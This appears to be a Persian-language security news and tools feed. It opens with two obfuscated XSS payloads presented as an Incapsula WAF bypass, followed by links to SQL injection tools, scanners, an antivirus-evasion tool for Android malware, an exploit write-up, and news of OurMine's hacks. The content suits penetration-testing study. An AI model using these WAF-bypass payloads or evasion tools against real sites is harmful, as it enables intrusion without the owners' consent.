Incapsula WAF XSS bypass
1) <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
2) <img/src=q onerror='new Function`al\ert\`1\``'>

آموزش محدود کردن دسترسی کاربران در لینوکس

https://linuxconfig.org/how-to-restrict-users-access-on-a-linux-machine

#linux

ماشین حساب ویندوز از اینترنت استفاده میکند!
این دسترسی ظاهرا برای به روزرسانی نرخ ارز هست.

https://security.stackexchange.com/questions/168137/unusual-case-of-microsoft-calculator

#windows
#malware

ابزار اسکن ساب دامین


https://github.com/guelfoweb/knock

#pentest
#eunum
#web

کشف و اکسپلویت کردن باگ SQL Injection

https://gbhackers.com/sqlmap-detecting-exploiting-sql-injection/

#sqli
#web
#pentest

نکاتی برای کشف باگ SQLi

https://gerbenjavado.com/manual-sql-injection-discovery-tips/

#web
#sqli
#pentest

AngryFuzz3r

https://github.com/ihebski/angryFuzzer

#web
#pentest
#fuzz

اثبات اکسپلویت CVE-2017-8625

https://posts.specterops.io/umci-vs-internet-explorer-exploring-cve-2017-8625-3946536c6442

#windows
#exploit
#js
#ps

AVPASS

AVPASS is a tool for leaking the detection model of Android malware detection systems (i.e., antivirus software), and bypassing their detection logics by using the leaked information coupled with APK obfuscation techniques.

https://github.com/sslab-gatech/avpass

#android
#smartsecurity
#malware
#trojan

SQLiv
Massive SQL injection scanner

https://github.com/Hadesy2k/sqliv

#web
#pentest
#sqli
#scanner
#tool

نمایش نحوه ماین کردن بیت کوین بر روی کاغذ !

https://www.youtube.com/watch?v=y3dqhixzGVo

کشف سرور نگهداری کننده اطلاعات کاربران با استفاده از فایل pdf

https://www.ringzerolabs.com/2017/08/large-victim-credential-server.html

اسکن چند سازمان با استفاده از موتور جستجوری shodan و golang

https://medium.com/@woj_ciech/scan-multiple-organizations-with-shodan-and-golang-bug-bounty-example-d994ba6a9587

ساتوشی ناکاموتو، مخترع بیت کوین و سرمایه دار بزرگ جهان توسط NSA شناسایی شد. (با استفاده از stylometry)

https://medium.com/@amuse/how-the-nsa-caught-satoshi-nakamoto-868affcef595

Command Injection/Shell Injection

ابزار wpscan که اینبار با پایتون نوشته شده

https://github.com/swisskyrepo/Wordpresscan

#wp
#wpscan
#pentest
#web

گوگل سرویس جدیدش به نام App Engine Firewall رو برای ادمین ها بصورت آزمایشی معرفی کرد.

https://www.securityweek.com/google-introduces-app-engine-firewall

#google
#waf
#web

روز گذشته وب سایت ویکی لیکس توسط گروه هکری OurMine هک و دیفیس شد.روش استفاده شده در این هک هنوز مشخص نشده اما گفته شده از طریق DNS poisoning این سایت هک شده است.

#news
#wikileaks
#ourmine

گروه هکرهای Ourmine که گفته میشه عربستانی هستند اخیرا تونستن با هک کردن سایت ها و اکانت های مهم برای خودشون اعتباری در فضای سایبری ایجاد کنن. لیست بعضی از قربانیان این گروه:
حساب های شبکه اجتماعی :
netflix
HBO
Sony
marvel
google
mark zuckerberg
sunder pichai
dick costolo
ev williams

https://www.techworm.net/2017/08/wikileaks-hacked-by-hacking-group-ourmine.html

#news
#ourmine